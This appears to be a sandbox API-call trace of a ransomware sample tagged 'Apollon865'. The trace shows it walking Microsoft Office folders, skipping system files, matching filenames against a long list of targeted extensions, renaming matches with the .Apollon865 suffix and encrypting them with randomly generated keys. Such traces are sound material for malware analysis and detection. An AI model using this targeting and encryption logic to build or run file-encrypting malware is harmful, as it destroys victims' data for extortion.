	[0071.842] lstrlenW (lpString="ACWZMAIN.ACCDE") returned 14
	[0071.842] lstrlenW (lpString="bak") returned 3
	[0071.842] lstrcmpiW (lpString1="CDE", lpString2="bak") returned 1
	[0071.842] lstrlenW (lpString="ba_") returned 3
	[0071.842] lstrcmpiW (lpString1="CDE", lpString2="ba_") returned 1
	[0071.842] lstrlenW (lpString="dbb") returned 3
	[0071.842] lstrcmpiW (lpString1="CDE", lpString2="dbb") returned -1
	[0071.842] lstrlenW (lpString="vmdk") returned 4
	[0071.843] lstrcmpiW (lpString1="CCDE", lpString2="vmdk") returned -1
	[0071.843] lstrlenW (lpString="rar") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="rar") returned -1
	[0071.843] lstrlenW (lpString="zip") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="zip") returned -1
	[0071.843] lstrlenW (lpString="tgz") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="tgz") returned -1
	[0071.843] lstrlenW (lpString="vbox") returned 4
	[0071.843] lstrcmpiW (lpString1="CCDE", lpString2="vbox") returned -1
	[0071.843] lstrlenW (lpString="vdi") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="vdi") returned -1
	[0071.843] lstrlenW (lpString="vhd") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="vhd") returned -1
	[0071.843] lstrlenW (lpString="vhdx") returned 4
	[0071.843] lstrcmpiW (lpString1="CCDE", lpString2="vhdx") returned -1
	[0071.843] lstrlenW (lpString="avhd") returned 4
	[0071.843] lstrcmpiW (lpString1="CCDE", lpString2="avhd") returned 1
	[0071.843] lstrlenW (lpString="db") returned 2
	[0071.843] lstrcmpiW (lpString1="DE", lpString2="db") returned 1
	[0071.843] lstrlenW (lpString="db2") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="db2") returned -1
	[0071.843] lstrlenW (lpString="db3") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="db3") returned -1
	[0071.843] lstrlenW (lpString="dbf") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="dbf") returned -1
	[0071.843] lstrlenW (lpString="mdf") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="mdf") returned -1
	[0071.843] lstrlenW (lpString="mdb") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="mdb") returned -1
	[0071.843] lstrlenW (lpString="sql") returned 3
	[0071.843] lstrcmpiW (lpString1="CDE", lpString2="sql") returned -1
	[0071.843] lstrlenW (lpString="sqlite") returned 6
	[0071.843] lstrcmpiW (lpString1=".ACCDE", lpString2="sqlite") returned -1
	[0071.843] lstrlenW (lpString="sqlite3") returned 7
	[0071.843] lstrcmpiW (lpString1="N.ACCDE", lpString2="sqlite3") returned -1
	[0071.843] lstrlenW (lpString="sqlitedb") returned 8
	[0071.843] lstrcmpiW (lpString1="IN.ACCDE", lpString2="sqlitedb") returned -1
	[0071.843] lstrlenW (lpString="xml") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="xml") returned -1
	[0071.844] lstrlenW (lpString="$er") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="$er") returned 1
	[0071.844] lstrlenW (lpString="4dd") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="4dd") returned 1
	[0071.844] lstrlenW (lpString="4dl") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="4dl") returned 1
	[0071.844] lstrlenW (lpString="^^^") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="^^^") returned 1
	[0071.844] lstrlenW (lpString="abs") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="abs") returned 1
	[0071.844] lstrlenW (lpString="abx") returned 3
	[0071.844] lstrcmpiW (lpString1="CDE", lpString2="abx") returned 1
	[0071.844] lstrlenW (lpString="accdb") returned 5
	[0071.844] lstrcmpiW (lpString1="ACCDE", lpString2="accdb") returned 1
	[0071.844] lstrlenW (lpString="accdc") returned 5
	[0071.844] lstrcmpiW (lpString1="ACCDE", lpString2="accdc") returned 1
	[0071.844] lstrlenW (lpString="accde") returned 5
	[0071.844] lstrcmpiW (lpString1="ACCDE", lpString2="accde") returned 0
	[0071.844] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.Apollon865") returned 75
	[0071.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.apollon865"), dwFlags=0x1) returned 1
	[0071.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0071.884] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9404416) returned 1
	[0071.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34d0020
	[0071.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0071.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0071.889] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0071.890] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0071.890] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0071.890] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f8300, lpName=0x0) returned 0x118
	[0071.891] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0xf8300) returned 0x36e0000
	[0072.259] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0072.260] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.260] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0072.260] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0072.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.260] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0072.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0072.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.261] UnmapViewOfFile (lpBaseAddress=0x36e0000) returned 1
	[0072.270] CloseHandle (hObject=0x118) returned 1
	[0072.270] CloseHandle (hObject=0xd8) returned 1
	[0072.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0072.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34d0020 | out: hHeap=0x580000) returned 1
	[0072.279] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="ACWZTO~1.ACC")) returned 1
	[0072.279] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.279] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="Apollon865.txt.exe") returned -1
	[0072.279] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".") returned 1
	[0072.279] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="..") returned 1
	[0072.279] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="windows") returned -1
	[0072.279] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="bootmgr") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="temp") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="pagefile.sys") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="boot") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="ids.txt") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="ntuser.dat") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="perflogs") returned -1
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="MSBuild") returned -1
	[0072.280] lstrlenW (lpString="ACWZTOOL.ACCDE") returned 14
	[0072.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE") returned 64
	[0072.280] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ACWZTOOL.ACCDE" | out: lpString1="ACWZTOOL.ACCDE") returned="ACWZTOOL.ACCDE"
	[0072.280] lstrlenW (lpString="ACWZTOOL.ACCDE") returned 14
	[0072.280] lstrlenW (lpString="Apollon865") returned 10
	[0072.280] lstrcmpiW (lpString1="TOOL.ACCDE", lpString2="Apollon865") returned 1
	[0072.280] lstrlenW (lpString=".dll") returned 4
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".dll") returned 1
	[0072.280] lstrlenW (lpString=".lnk") returned 4
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".lnk") returned 1
	[0072.280] lstrlenW (lpString=".ini") returned 4
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".ini") returned 1
	[0072.280] lstrlenW (lpString=".sys") returned 4
	[0072.280] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".sys") returned 1
	[0072.280] lstrlenW (lpString="ACWZTOOL.ACCDE") returned 14
	[0072.280] lstrlenW (lpString="bak") returned 3
	[0072.280] lstrcmpiW (lpString1="CDE", lpString2="bak") returned 1
	[0072.280] lstrlenW (lpString="ba_") returned 3
	[0072.280] lstrcmpiW (lpString1="CDE", lpString2="ba_") returned 1
	[0072.280] lstrlenW (lpString="dbb") returned 3
	[0072.280] lstrcmpiW (lpString1="CDE", lpString2="dbb") returned -1
	[0072.280] lstrlenW (lpString="vmdk") returned 4
	[0072.280] lstrcmpiW (lpString1="CCDE", lpString2="vmdk") returned -1
	[0072.280] lstrlenW (lpString="rar") returned 3
	[0072.280] lstrcmpiW (lpString1="CDE", lpString2="rar") returned -1
	[0072.280] lstrlenW (lpString="zip") returned 3
	[0072.280] lstrcmpiW (lpString1="CDE", lpString2="zip") returned -1
	[0072.280] lstrlenW (lpString="tgz") returned 3
	[0072.280] lstrcmpiW (lpString1="CDE", lpString2="tgz") returned -1
	[0072.280] lstrlenW (lpString="vbox") returned 4
	[0072.281] lstrcmpiW (lpString1="CCDE", lpString2="vbox") returned -1
	[0072.281] lstrlenW (lpString="vdi") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="vdi") returned -1
	[0072.281] lstrlenW (lpString="vhd") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="vhd") returned -1
	[0072.281] lstrlenW (lpString="vhdx") returned 4
	[0072.281] lstrcmpiW (lpString1="CCDE", lpString2="vhdx") returned -1
	[0072.281] lstrlenW (lpString="avhd") returned 4
	[0072.281] lstrcmpiW (lpString1="CCDE", lpString2="avhd") returned 1
	[0072.281] lstrlenW (lpString="db") returned 2
	[0072.281] lstrcmpiW (lpString1="DE", lpString2="db") returned 1
	[0072.281] lstrlenW (lpString="db2") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="db2") returned -1
	[0072.281] lstrlenW (lpString="db3") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="db3") returned -1
	[0072.281] lstrlenW (lpString="dbf") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="dbf") returned -1
	[0072.281] lstrlenW (lpString="mdf") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="mdf") returned -1
	[0072.281] lstrlenW (lpString="mdb") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="mdb") returned -1
	[0072.281] lstrlenW (lpString="sql") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="sql") returned -1
	[0072.281] lstrlenW (lpString="sqlite") returned 6
	[0072.281] lstrcmpiW (lpString1=".ACCDE", lpString2="sqlite") returned -1
	[0072.281] lstrlenW (lpString="sqlite3") returned 7
	[0072.281] lstrcmpiW (lpString1="L.ACCDE", lpString2="sqlite3") returned -1
	[0072.281] lstrlenW (lpString="sqlitedb") returned 8
	[0072.281] lstrcmpiW (lpString1="OL.ACCDE", lpString2="sqlitedb") returned -1
	[0072.281] lstrlenW (lpString="xml") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="xml") returned -1
	[0072.281] lstrlenW (lpString="$er") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="$er") returned 1
	[0072.281] lstrlenW (lpString="4dd") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="4dd") returned 1
	[0072.281] lstrlenW (lpString="4dl") returned 3
	[0072.281] lstrcmpiW (lpString1="CDE", lpString2="4dl") returned 1
	[0072.282] lstrlenW (lpString="^^^") returned 3
	[0072.282] lstrcmpiW (lpString1="CDE", lpString2="^^^") returned 1
	[0072.282] lstrlenW (lpString="abs") returned 3
	[0072.282] lstrcmpiW (lpString1="CDE", lpString2="abs") returned 1
	[0072.282] lstrlenW (lpString="abx") returned 3
	[0072.282] lstrcmpiW (lpString1="CDE", lpString2="abx") returned 1
	[0072.282] lstrlenW (lpString="accdb") returned 5
	[0072.282] lstrcmpiW (lpString1="ACCDE", lpString2="accdb") returned 1
	[0072.282] lstrlenW (lpString="accdc") returned 5
	[0072.282] lstrcmpiW (lpString1="ACCDE", lpString2="accdc") returned 1
	[0072.282] lstrlenW (lpString="accde") returned 5
	[0072.282] lstrcmpiW (lpString1="ACCDE", lpString2="accde") returned 0
	[0072.282] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.Apollon865") returned 75
	[0072.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.apollon865"), dwFlags=0x1) returned 1
	[0072.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0072.283] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=11767808) returned 1
	[0072.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0072.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0072.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0072.284] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0072.284] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0072.284] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.285] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb39300, lpName=0x0) returned 0x118
	[0072.286] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x139300) returned 0x35a0000
	[0072.465] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0072.466] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.466] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0072.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0072.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0072.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0072.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.467] UnmapViewOfFile (lpBaseAddress=0x35a0000) returned 1
	[0072.478] CloseHandle (hObject=0x118) returned 1
	[0072.478] CloseHandle (hObject=0xd8) returned 1
	[0072.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0072.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0072.488] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="ACWZUS~1.ACC")) returned 1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="Apollon865.txt.exe") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".") returned 1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="..") returned 1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="windows") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="bootmgr") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="temp") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="pagefile.sys") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="boot") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="ids.txt") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="ntuser.dat") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="perflogs") returned -1
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="MSBuild") returned -1
	[0072.488] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15
	[0072.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE") returned 64
	[0072.488] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ACWZUSR12.ACCDU" | out: lpString1="ACWZUSR12.ACCDU") returned="ACWZUSR12.ACCDU"
	[0072.488] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15
	[0072.488] lstrlenW (lpString="Apollon865") returned 10
	[0072.488] lstrcmpiW (lpString1="SR12.ACCDU", lpString2="Apollon865") returned 1
	[0072.488] lstrlenW (lpString=".dll") returned 4
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".dll") returned 1
	[0072.488] lstrlenW (lpString=".lnk") returned 4
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".lnk") returned 1
	[0072.488] lstrlenW (lpString=".ini") returned 4
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".ini") returned 1
	[0072.488] lstrlenW (lpString=".sys") returned 4
	[0072.488] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".sys") returned 1
	[0072.488] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15
	[0072.488] lstrlenW (lpString="bak") returned 3
	[0072.488] lstrcmpiW (lpString1="CDU", lpString2="bak") returned 1
	[0072.488] lstrlenW (lpString="ba_") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="ba_") returned 1
	[0072.489] lstrlenW (lpString="dbb") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="dbb") returned -1
	[0072.489] lstrlenW (lpString="vmdk") returned 4
	[0072.489] lstrcmpiW (lpString1="CCDU", lpString2="vmdk") returned -1
	[0072.489] lstrlenW (lpString="rar") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="rar") returned -1
	[0072.489] lstrlenW (lpString="zip") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="zip") returned -1
	[0072.489] lstrlenW (lpString="tgz") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="tgz") returned -1
	[0072.489] lstrlenW (lpString="vbox") returned 4
	[0072.489] lstrcmpiW (lpString1="CCDU", lpString2="vbox") returned -1
	[0072.489] lstrlenW (lpString="vdi") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="vdi") returned -1
	[0072.489] lstrlenW (lpString="vhd") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="vhd") returned -1
	[0072.489] lstrlenW (lpString="vhdx") returned 4
	[0072.489] lstrcmpiW (lpString1="CCDU", lpString2="vhdx") returned -1
	[0072.489] lstrlenW (lpString="avhd") returned 4
	[0072.489] lstrcmpiW (lpString1="CCDU", lpString2="avhd") returned 1
	[0072.489] lstrlenW (lpString="db") returned 2
	[0072.489] lstrcmpiW (lpString1="DU", lpString2="db") returned 1
	[0072.489] lstrlenW (lpString="db2") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="db2") returned -1
	[0072.489] lstrlenW (lpString="db3") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="db3") returned -1
	[0072.489] lstrlenW (lpString="dbf") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="dbf") returned -1
	[0072.489] lstrlenW (lpString="mdf") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="mdf") returned -1
	[0072.489] lstrlenW (lpString="mdb") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="mdb") returned -1
	[0072.489] lstrlenW (lpString="sql") returned 3
	[0072.489] lstrcmpiW (lpString1="CDU", lpString2="sql") returned -1
	[0072.489] lstrlenW (lpString="sqlite") returned 6
	[0072.489] lstrcmpiW (lpString1=".ACCDU", lpString2="sqlite") returned -1
	[0072.489] lstrlenW (lpString="sqlite3") returned 7
	[0072.490] lstrcmpiW (lpString1="2.ACCDU", lpString2="sqlite3") returned -1
	[0072.490] lstrlenW (lpString="sqlitedb") returned 8
	[0072.490] lstrcmpiW (lpString1="12.ACCDU", lpString2="sqlitedb") returned -1
	[0072.490] lstrlenW (lpString="xml") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="xml") returned -1
	[0072.490] lstrlenW (lpString="$er") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="$er") returned 1
	[0072.490] lstrlenW (lpString="4dd") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="4dd") returned 1
	[0072.490] lstrlenW (lpString="4dl") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="4dl") returned 1
	[0072.490] lstrlenW (lpString="^^^") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="^^^") returned 1
	[0072.490] lstrlenW (lpString="abs") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="abs") returned 1
	[0072.490] lstrlenW (lpString="abx") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="abx") returned 1
	[0072.490] lstrlenW (lpString="accdb") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accdb") returned 1
	[0072.490] lstrlenW (lpString="accdc") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accdc") returned 1
	[0072.490] lstrlenW (lpString="accde") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accde") returned 1
	[0072.490] lstrlenW (lpString="accdr") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accdr") returned 1
	[0072.490] lstrlenW (lpString="accdt") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accdt") returned 1
	[0072.490] lstrlenW (lpString="accdw") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accdw") returned -1
	[0072.490] lstrlenW (lpString="accft") returned 5
	[0072.490] lstrcmpiW (lpString1="ACCDU", lpString2="accft") returned -1
	[0072.490] lstrlenW (lpString="adb") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="adb") returned 1
	[0072.490] lstrlenW (lpString="adb") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="adb") returned 1
	[0072.490] lstrlenW (lpString="ade") returned 3
	[0072.490] lstrcmpiW (lpString1="CDU", lpString2="ade") returned 1
	[0072.491] lstrlenW (lpString="adf") returned 3
